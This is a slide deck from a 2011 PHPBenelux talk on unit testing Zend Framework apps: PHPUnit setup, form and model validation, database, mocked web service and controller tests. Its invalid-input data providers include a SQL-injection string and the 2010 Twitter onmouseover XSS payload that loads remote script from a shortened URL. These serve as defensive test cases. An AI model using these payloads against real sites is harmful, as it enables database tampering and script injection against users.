The document discusses unit testing Zend Framework applications. It begins by explaining the importance of testing and some common excuses for not testing. It then provides examples of setting up PHPUnit configuration and bootstrap files for testing Zend Framework applications. The document demonstrates how to write tests for Zend Forms and models, including testing with both valid and invalid data. It shows how to modify models to add validation filters and validators.

1. Unit Testing with
Zend Framework
PHPBenelux Meeting May 2011
Haasrode - Belgium

2. Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux

3. The saga continues…

4. Zend Webinar
http://www.zend.com/en/resources/webinars/framework

5. Any reasons not to test?

6. Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
•…

7. NO EXCUSES!

8. The cost of bugs
Bugs Project Costs
100
75
50
25
0
Start Milestone1 Milestone2 Milestone3

9. The cost of bugs
Bugs Project Costs Unittests
100
75
50
25
0
Start Milestone1 Milestone2 Milestone3

10. Maintainability
•- during development
test will fail indicating bugs
•- after sales support
testing if an issue is genuine
- fixing issues won’t break code base
‣ if they do, you need to fix it!
• long term projects
- refactoring made easy

11. Remember
“Once a test is made, it will always be tested!”

13. Confidence
•- for the developer
code works
•- for the manager
project succeeds
•- for sales / general management / share holders
making profit
•- for the customer
paying for what they want

15. Unit testing ZF apps

16. Setting things up

17. phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
<testsuite name="Unit test suite">
<directory>./</directory>
</testsuite>
<filter>
<whitelist>
<directory suffix=".php">../application/</directory>
<directory suffix=".php">../library/Mylib/</directory>
<exclude>
<directory suffix=".phtml">../application/</directory>
</exclude>
</whitelist>
</filter>
</phpunit>

18. TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');
// Include path
set_include_path(
. PATH_SEPARATOR . BASE_PATH . '/library'
. PATH_SEPARATOR . get_include_path()
);
// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');
// We wanna catch all errors en strict warnings
error_reporting(E_ALL|E_STRICT);
require_once 'Zend/Application.php';
$application = new Zend_Application(
APPLICATION_ENV,
APPLICATION_PATH . '/configs/application.ini'
);
$application->bootstrap();

19. Zend_Tool since 1.11.4
• provides
• phpunit.xml
• bootstrap.php
• IndexControllerTest.php
Ralph Schindler

20. Start your engines!
http://www.flickr.com/photos/robdunckley/3781995277

21. Testing Zend_Form

22. CommentForm
Name:
E-mail Address:
Website:
Comment:
Post

23. Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
protected $_form;
protected function setUp()
{
$this->_form = new Application_Form_CommentForm();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_form = null;
}
}

24. The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertTrue($this->_form->isValid($data));
}

25. The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '',
'http://xkcd.com/327/','Little Bobby Tables'),
array (str_repeat('x', 100000), '', '', ''),
array ('John Doe', 'jd@example.com',
"http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
'exploit twitter 9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testFormRejectsBadData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertFalse($this->_form->isValid($data));
}

26. Create the form class
<?php
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
/* Form Elements & Other Definitions Here ... */
}
}

27. Let’s run the test

28. Let’s put in our elements
<?php
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true));
$this->addElement('submit', 'post', array (
'Label' => 'Post', 'Ignore' => true));
}
}

29. Less errors?

30. Filter - Validate
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
'Validators' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
'Validators' => array (
new Zend_Validate_EmailAddress(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
'Validators' => array (
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
'Validators' => array (
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000))),
));

31. Green, warm & fuzzy

32. You’re a winner!
☑ quality code
☑ tested
☑ secure
☑ reusable

33. Testing models

34. Testing business logic
•- models contain logic
tied to your business
- tied to your storage
- tied to your resources
• no “one size fits all” solution

35. Type: data containers
•- contains structured data
populated through setters and getters
•- perform logic tied to it’s purpose
transforming data
- filtering data
- validating data
• can convert into other data types
- arrays
- strings (JSON, serialized, xml, …)
• are providers to other models

36. Comment Class

37. Writing model test
<?php
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
protected $_comment;
protected function setUp()
{
$this->_comment = new Application_Model_Comment();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_comment = null;
}
public function testModelIsEmptyAtConstruct()
{
$this->assertSame(0, $this->_comment->getId());
$this->assertNull($this->_comment->getFullName());
$this->assertNull($this->_comment->getEmailAddress());
$this->assertNull($this->_comment->getWebsite());
$this->assertNull($this->_comment->getComment());
}
}

38. This test won’t run!

39. Create a simple model
<?php
class Application_Model_Comment
{
protected $_id = 0; protected $_fullName; protected $_emailAddress;
protected $_website; protected $_comment;
public function setId($id) { $this->_id = (int) $id; return $this; }
public function getId() { return $this->_id; }
public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
public function getFullName() { return $this->_fullName; }
public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
public function getEmailAddress() { return $this->_emailAddress; }
public function setWebsite($website) { $this->_website = (string) $website; return $this; }
public function getWebsite() { return $this->_website; }
public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
public function getComment() { return $this->_comment; }
public function populate($row) {
if (is_array($row)) {
$row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
}
if (isset ($row->id)) $this->setId($row->id);
if (isset ($row->fullName)) $this->setFullName($row->fullName);
if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
if (isset ($row->website)) $this->setWebsite($row->website);
if (isset ($row->comment)) $this->setComment($row->comment);
}
public function toArray() {
return array (
'id' => $this->getId(),
'fullName' => $this->getFullName(),
'emailAddress' => $this->getEmailAddress(),
'website' => $this->getWebsite(),
'comment' => $this->getComment(),
);
}
}

40. We pass the test…

41. Really ???

42. Not all data from form!
•- model can be populated from
users through the form
- data stored in the database
- a webservice (hosted by us or others)
• simply test it
- by using same test scenario’s from our form

43. The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
$this->fail('Unexpected exception should not be triggered');
}
$data['id'] = 0;
$data['emailAddress'] = strtolower($data['emailAddress']);
$data['website'] = strtolower($data['website']);
$this->assertSame($this->_comment->toArray(), $data);
}

44. The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
array (str_repeat('x', 1000), '', '', ''),
array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
return;
}
$this->fail('Expected exception should be triggered');
}

45. Let’s run it

46. Modify our model
protected $_filters;
protected $_validators;
public function __construct($params = null)
{
$this->_filters = array (
'id' => array ('Int'),
'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
'comment' => array ('StringTrim', 'StripTags'),
);
$this->_validators = array (
'id' => array ('Int'),
'fullName' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'emailAddress' => array (
'EmailAddress',
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'website' => array (
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'comment' => array (
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000)),
),
);
if (null !== $params) { $this->populate($params); }
}

47. Modify setters: Id & name
public function setId($id)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('id' => $id));
if (!$input->isValid('id')) {
throw new Zend_Exception('Invalid ID provided');
}
$this->_id = (int) $input->id;
return $this;
}
public function setFullName($fullName)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('fullName' => $fullName));
if (!$input->isValid('fullName')) {
throw new Zend_Exception('Invalid fullName provided');
}
$this->_fullName = (string) $input->fullName;
return $this;
}

48. Email & website
public function setEmailAddress($emailAddress)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('emailAddress' => $emailAddress));
if (!$input->isValid('emailAddress')) {
throw new Zend_Exception('Invalid emailAddress provided');
}
$this->_emailAddress = (string) $input->emailAddress;
return $this;
}
public function setWebsite($website)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('website' => $website));
if (!$input->isValid('website')) {
throw new Zend_Exception('Invalid website provided');
}
$this->_website = (string) $input->website;
return $this;
}

49. and comment
public function setComment($comment)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('comment' => $comment));
if (!$input->isValid('comment')) {
throw new Zend_Exception('Invalid comment provided');
}
$this->_comment = (string) $input->comment;
return $this;
}

50. Now we’re good!

51. Testing Databases

52. Integration Testing
•- database specific functionality
triggers
- constraints
- stored procedures
- sharding/scalability
• data input/output
- correct encoding of data
- transactions execution and rollback

53. Points of concern
•- beware of automated data types
auto increment sequence ID’s
- default values like CURRENT_TIMESTAMP
• beware of time related issues
- timestamp vs. datetime
- UTC vs. local time

54. The domain Model
• Model object
• Mapper object
• Table gateway object
Read more about it

55. Change our test class
class Application_Model_CommentTest
extends PHPUnit_Framework_TestCase
becomes
class Application_Model_CommentTest
extends Zend_Test_PHPUnit_DatabaseTestCase

56. Setting DB Testing up
protected $_connectionMock;
public function getConnection()
{
if (null === $this->_dbMock) {
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$this->bootstrap->bootstrap('db');
$db = $this->bootstrap->getBootstrap()->getResource('db');
$this->_connectionMock = $this->createZendDbConnection(
$db, 'zftest'
);
return $this->_connectionMock;
}
}
public function getDataSet()
{
return $this->createFlatXmlDataSet(
realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}

57. initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>

58. Testing SELECT
public function testDatabaseCanBeRead()
{
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}

59. selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>

60. Testing UPDATE
public function testDatabaseCanBeUpdated()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment);
$comment->setComment('I like you picking up the challenge!');
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}

61. updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I like you picking up the challenge!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>

62. Testing DELETE
public function testDatabaseCanDeleteAComment()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment)
->delete($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}

63. deleteDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>

64. Testing INSERT
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}

65. insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
id="3"
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>

66. Run Test

67. What went wrong here?

68. AUTO_INCREMENT

69. Testing INSERT w/ filter
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
$ds, array ('comment' => array ('id')));
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $filteredDs);
}

70. insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>

71. Run Test

72. Testing web services

73. Web services remarks
•- you need to comply with an API
that will be your reference
•- you cannot always make a test-call
paid services per call
- test environment is “offline”
- network related issues

74. Example: joind.in

75. http://joind.in/api

76. JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_settings;
protected function setUp()
{
$this->_joindin = new Zftest_Service_Joindin();
$settings = simplexml_load_file(realpath(
APPLICATION_PATH . '/../tests/_files/settings.xml'));
$this->_settings = $settings->joindin;
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_joindin = null;
}
}

77. JoindinTest
public function testJoindinCanGetUserDetails()
{
$expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</
ID><last_login>1303248639</last_login></item></response>';
$this->_joindin->setUsername($this->_settings->username)
->setPassword($this->_settings->password);
$actual = $this->_joindin->user()->getDetail();
$this->assertXmlStringEqualsXmlString($expected, $actual);
}
public function testJoindinCanCheckStatus()
{
$date = new DateTime();
$date->setTimezone(new DateTimeZone('UTC'));
$expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
$actual = $this->_joindin->site()->getStatus('testing unit test');
$this->assertXmlStringEqualsXmlString($expected, $actual);
}

78. Testing the service

79. Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
<ID>19</ID>
- <last_login>1303248639</last_login>
+ <last_login>1303250271</last_login>
</item>
</response>
I recently logged in ✔

80. Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
<ID>19</ID>
- <last_login>1303248639</last_login>
+ <last_login>1303250271</last_login>
</item>
</response>
I recently logged in ✔

81. And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
<?xml version="1.0"?>
<response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
<test_string>testing unit test</test_string>
</response>
Latency of the network 1s ☹

82. And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
<?xml version="1.0"?>
<response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
<test_string>testing unit test</test_string>
</response>
Latency of the network 1s ☹

83. Solution… right here!

84. Your expectations

85. JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_settings;
protected function setUp()
{
$this->_joindin = new Zftest_Service_Joindin();
$client = new Zend_Http_Client();
$client->setAdapter(new Zend_Http_Client_Adapter_Test());
$this->_joindin->setClient($client);
$settings = simplexml_load_file(realpath(
APPLICATION_PATH . '/../tests/_files/settings.xml'));
$this->_settings = $settings->joindin;
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_joindin = null;
}
}

86. JoindinUserMockTest
public function testJoindinCanGetUserDetails()
{
$response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml
<?xml version="1.0"?>
<response>
<item>
<username>DragonBe</username>
<full_name>Michelangelo van Dam</full_name>
<ID>19</ID>
<last_login>1303248639</last_login>
</item>
</response>
EOS;
$client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
$expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</
last_login></item></response>';
$this->_joindin->setUsername($this->_settings->username)
->setPassword($this->_settings->password);
$actual = $this->_joindin->user()->getDetail();
$this->assertXmlStringEqualsXmlString($expected, $actual);
}

87. JoindinStatusMockTest
public function testJoindinCanCheckStatus()
{
$date = new DateTime();
$date->setTimezone(new DateTimeZone('UTC'));
$response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml
<?xml version="1.0"?>
<response>
<dt>{$date->format('r')}</dt>
<test_string>testing unit test</test_string>
</response>
EOS;
$client = $this->_joindin->getClient()
->getAdapter()->setResponse($response);
$expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
$actual = $this->_joindin->site()->getStatus('testing unit test');
$this->assertXmlStringEqualsXmlString($expected, $actual);
}

88. Good implementation?

89. Controller Testing

90. Our form flow

91. Setting up ControllerTest
<?php
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{
public function setUp()
{
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
parent::setUp();
}
}

92. Testing if form is on page
public function testIndexAction()
{
$params = array(
'action' => 'index',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertQueryContentContains(
'h1#pageTitle', 'Please leave a comment');
$this->assertQueryCount('form#commentForm', 1);
}

93. Test processing
public function testProcessAction()
{
$testData = array (
'name' => 'testUser',
'mail' => 'test@example.com',
'web' => 'http://www.example.com',
'comment' => 'This is a test comment',
);
$params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
$url = $this->url($this->urlizeOptions($params));
$this->request->setMethod('post');
$this->request->setPost($testData);
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertResponseCode(302);
$this->assertRedirectTo('/index/success');
$this->resetRequest();
$this->resetResponse();
$this->dispatch('/index/success');
$this->assertQueryContentContains('span#fullName', $testData['name']);
}

94. REMARK
•- data providers can be used
to test valid data
- to test invalid data
• but we know it’s taken care of our model
- just checking for error messages in form

95. Test if we hit home
public function testSuccessAction()
{
$params = array(
'action' => 'success',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertRedirectTo('/');
}

96. Running the tests

97. Testing it all

98. Testing it all

99. Our progress report

100. Conclusion

101. • unit testing is simple
• combine integration tests with unit tests
• test what counts
• mock out what’s remote

102. Thank you
• source code:
http://github.com/DragonBe/zftest
• your rating:
http://joind.in/3381
•- follow me:
twitter: @DragonBe
- facebook: DragonBe
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